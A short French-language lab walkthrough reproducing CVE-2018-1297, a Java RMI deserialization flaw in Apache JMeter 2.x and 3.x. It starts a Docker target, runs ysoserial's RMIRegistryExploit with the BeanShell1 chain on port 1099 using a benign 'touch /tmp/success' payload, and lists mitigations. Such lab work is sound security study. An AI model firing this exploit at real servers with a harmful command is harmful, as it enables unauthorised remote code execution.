Vulnérabilité d'exécution de commande par désérialisation RMI Jmeter (CVE-2018-1297)
Apache JMeter est un ensemble de logiciels open source écrit en Java par l'American Apache Software Foundation pour les tests de stress et de performance.
Les versions 2.x et 3.x présentent une vulnérabilité de désérialisation qui permet à un attaquant d'exécuter des commandes arbitraires sur le serveur cible.
Exécution de l'environnement vulnérable :
docker compose up -d
J'ai utilisé Docker sous Kali Linux.
Une fois l'exécution terminée, le service RMI démarre et écoute sur le port 1099.
Vulnérabilité :
Utilisez directement ysoserial pour exploiter la vulnérabilité.
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 BeanShell1 'touch /tmp/success’
Entrez la commande ci-dessus.
Nous avons utilisé la chaîne d'exploitation BeanShell1.
docker compose exec jmeter bash
En entrant dans le conteneur avec cette commande, vous pouvez constater que '/tmp/success' a été créé avec succès.

Résumé
Cette vulnérabilité exploite la vulnérabilité RMI (Remote Method Invocation) qui peut survenir dans les applications basées sur Java.
Le fichier 'ysoserial-0.0.6-SNAPSHOT-all.jar' utilisé ici fait partie du projet ysoserial, et est utilisé pour générer des charges utiles qui permettent l'exécution de code à distance en exploitant les vulnérabilités de sérialisation Java.
Cette charge utile vise à exécuter des commandes telles que /tmp/success, et via cette vulnérabilité, un attaquant peut exécuter des commandes arbitraires ou modifier des fichiers système sur le système distant.
Les mesures pour prévenir cette vulnérabilité incluent la restriction de l'accès au service RMI, un contrôle strict des autorisations et le filtrage de la sérialisation Java.